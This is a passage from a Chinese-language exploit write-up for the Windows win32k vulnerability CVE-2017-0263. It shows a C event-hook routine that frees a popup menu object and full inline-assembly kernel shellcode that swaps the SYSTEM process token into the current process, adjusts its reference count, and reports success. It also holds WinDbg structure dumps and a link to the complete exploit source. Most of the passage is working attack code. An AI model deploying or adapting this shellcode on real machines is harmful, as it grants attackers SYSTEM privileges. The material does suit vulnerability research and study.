在ShellCode中要找到會被釋放的tagPOPUPMENU,所以在事件處理函數中,要對其內存地址進行記錄,此時的事件處理例程如下,保存的tagPOPUPMENU對象地址,在發送消息的時候將作為參數進行傳遞:
VOID CALLBACK WinEventProc_CVE_2017_0263(HWINEVENTHOOK hWinEventHook, DWORD event, HWND hwnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime){ if (g_dwCount_2017_0263 == 0) { lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle(); // 獲取tagPOPUPMENU對象地址 g_dwPopupMenuRoot_2017_0263 = *(PDWORD)((PBYTE)HMValidateHandle(hwnd, TYPE_WINDOW) + 0xb0); } if (++g_dwCount_2017_0263 >= 2) { // 發送銷毀菜單消息 SendMessage(hwnd, MN_ENDMENU, 0, 0); } else { // 發生鼠標左鍵按下消息 SendMessage(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); // (2,2) }}
要執行的ShellCode代碼如下,在內核模式下處理的消息例程第一個參數是窗口句柄,其他是一樣的。ShellCode會判斷是否是0x9F9F消息,以及是否是內核模式下運行,如果不是就執行失敗。如果是,通過call下一條指令的方式獲取當前的eip,因為執行的ShellCode是保存在SHELLCODE結構體最后,所以通過當前已經運行的字節數和SHELLCODE結構體前面幾個成員的大小獲取SHELLCODE結構體的首地址。通過SHELLCODE結構體中保存的tagCLS和傳入的參數來處理會被釋放的tagPOPUPMENU內存,防止線程退出時出現BSOD。
獲取EPROCESS的時候,需要用到tagTHREADINFO的ppi成員,該成員可以找到相應的EPROCESS。而Token對象的引用計數的增加,則是通過增加Token對象的對象頭的PointerCount實現的。
0: kd> dt win32k!tagTHREADINFO +0x0b8 ppi : Ptr32 tagPROCESSINFO2: kd> dt win32k!tagPROCESSINFO +0x000 Process : Ptr32 _EPROCESS1: kd> dt _OBJECT_HEADERnt!_OBJECT_HEADER +0x000 PointerCount : Int4B +0x004 HandleCount : Int4B +0x004 NextToFree : Ptr32 Void +0x008 Lock : _EX_PUSH_LOCK +0x00c TypeIndex : UChar +0x00d TraceFlags : UChar +0x00e InfoMask : UChar +0x00f Flags : UChar +0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION +0x010 QuotaBlockCharged : Ptr32 Void +0x014 SecurityDescriptor : Ptr32 Void +0x018 Body : _QUAD
DWORD __declspec(naked) ShellCode_CVE_2017_0263(HWND hWnd, int code, WPARAM wParam, LPARAM lParam){ __asm { push ebp mov ebp, esp // 如果消息不是0x9F9F,函數退出 mov eax, dword ptr[ebp + 0xC] cmp eax, 0x9F9F jne LocFAILED // 如果cs的值為0x1B則是用戶模式(這里判斷低2位是否為0就可以),函數退出 mov ax, cs cmp ax, 0x1B je LocFAILED // 將bDialogWindow標志位自增 cld // ecx = tagWND mov ecx, dword ptr [ebp + 8] inc dword ptr [ecx + 0x16] pushad // 通過當前EIP首地址獲取SHELLCODE對象的首地址 call $5 $5: pop edx sub edx, 0x443 // 將tagCLS數組與參數wParam的tagPOPUPMENU對比 mov ebx, 0x100 // esi = SHELLCODE->tagCLS lea esi, [edx + 0x18] // edi = tagPOPUPMENU mov edi, dword ptr[ebp + 0x10] LocForCLS: test ebx, ebx je LocGetEPROCESS // 獲取tagCLS中非0的數值 lods dword ptr [esi] dec ebx cmp eax, 0 je LocForCLS // 獲取tagCLS->lpszMenuName add eax, dword ptr [edx + 8] // 比較是否是符合條件的tagCLS cmp dword ptr [eax], edi jne LocForCLS // 不符合則清空 and dword ptr [eax], 0 jmp LocForCLS LocGetEPROCESS: // ecx = tagWND->pti mov ecx, dword ptr [ecx + 8] // ebx = SHELLCODE->off_THREADINFO_ppi mov ebx, dword ptr [edx + 0x0C] // ecx = tagTHREADINFO->ppi mov ecx, dword ptr [ebx + ecx] // ecx = tagPROCESSINFO->EPROCESS mov ecx, dword ptr [ecx] // ebx = SHELLCODE->off_EPROCESS_ActiveLink mov ebx, dword ptr [edx + 0x10] // eax = SHELLCODE->pid mov eax, dword ptr [edx + 4] push ecx LocForCurrentPROCESS : // 判斷PID是否是當前進程PID cmp dword ptr [ebx + ecx - 4], eax je LocFoundCURRENT // 取下一進程EPROCESS mov ecx, dword ptr [ebx + ecx] sub ecx, ebx jmp LocForCurrentPROCESS LocFoundCURRENT: // 將找到的EPROCESS賦給edi mov edi, ecx pop ecx LocForSystemPROCESS: // 判斷EPROCESS的PID是否為4 cmp dword ptr [ebx + ecx - 4], 4 je LocFoundSYSTEM // 取下一進程EPROCESS mov ecx, dword ptr [ebx + ecx] sub ecx, ebx jmp LocForSystemPROCESS LocFoundSYSTEM: // 將SYSTEM進程EPROCESS賦給esi mov esi, ecx // eax=SHELLCODE->off_EPROCESS_Token mov eax, dword ptr [edx + 0x14] // 當前進程和系統進程EPROCESS指向TOKEN add esi, eax add edi, eax // 將系統進程TOKEN賦值給當前進程的TOKEN lods dword ptr[esi] stos dword ptr es:[edi] // 將系統進程TOKEN對象的PointerCount + 2,即增加引用計數 and eax, 0x0FFFFFFF8 add dword ptr[eax - 0x18], 2 popad // 提權成功,返回值設為0x9F9F mov eax, 0x9F9F jmp LocRETURN LocFAILED: // 提權失敗,返回值設為1 mov eax, 1 LocRETURN: leave ret 0x10 }}
四
運行結果
最后還有一個坑,這個漏洞要通過創建新線程來提權,否則主線程會直接卡死,完整代碼在https://github.com/LegendSaber/exp/blob/master/exp/CVE-2017-0263.cpp。
編譯運行exp,最終就會成功提權:

參考資料
- https://www.anquanke.com/post/id/102377
- https://www.anquanke.com/post/id/102378
- https://xz.aliyun.com/t/9287